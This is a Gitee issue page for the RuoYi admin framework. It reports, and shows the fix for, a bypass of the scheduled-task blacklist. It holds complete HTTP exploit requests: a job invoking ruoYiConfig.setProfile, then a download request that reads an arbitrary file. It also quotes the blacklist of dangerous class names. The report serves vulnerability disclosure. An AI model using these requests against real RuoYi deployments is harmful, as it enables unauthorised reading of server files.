5.4K Star 36.4K Fork 19.4K

GVP若依 / RuoYi

 / 详情

定时任务违规字符绕过可导致任意文件下载[BUG]

已完成
创建于  
2023-01-06 15:39

看到 4.7.6 提交了定时任务违规的字符commit(df1c283) 增加了 com.ruoyi.common.config黑名单,但我在调试代码的时候找到了一个绕过。

漏洞原理
黑白名单过滤代码
输入图片说明

黑名单如下

public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml",
        "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" };

输入图片说明

这里有一个 bean 转换的操作,然后在判断包名是否在白名单类,默认白名单是 public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };

这样使用的 bean 可以绕过黑名单的限制,然后符合白名单的bean。

使用 ruoYiConfig.setProfile('e://xxx/xxxxx.log') 即可绕过黑白名单,导致任意文件下载。

exp

提交任务

POST /monitor/job/add HTTP/1.1
Host: 172.16.0.118:48080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 188
Origin: http://172.16.0.118:48080
Connection: close
Referer: http://172.16.0.118:48080/monitor/job/add
Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60

createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://想要下载的文件地址')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=

执行之后

任意文件下载

GET /common/download/resource?resource=Info.xml:.zip HTTP/1.1
Host: 172.16.0.124:48080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://172.16.0.124:48080
Connection: close
Referer: http://172.16.0.124:48080/monitor/job
Cookie: JSESSIONID=016273a7-e993-41de-b079-0d9a72561b60

输入图片说明

修复建议

进行黑名单过滤的时候需要对bean转换对象也进行判断

报告人
superx

评论 (1)

knight110 创建了任务
knight110 修改了描述
展开全部操作日志

多谢提醒,已屏蔽bean的非法package。屏蔽定时任务bean违规的字符
https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0

若依 任务状态从 待办的 修改为已完成

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(2)
1151004 y project 1578942802
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi

搜索帮助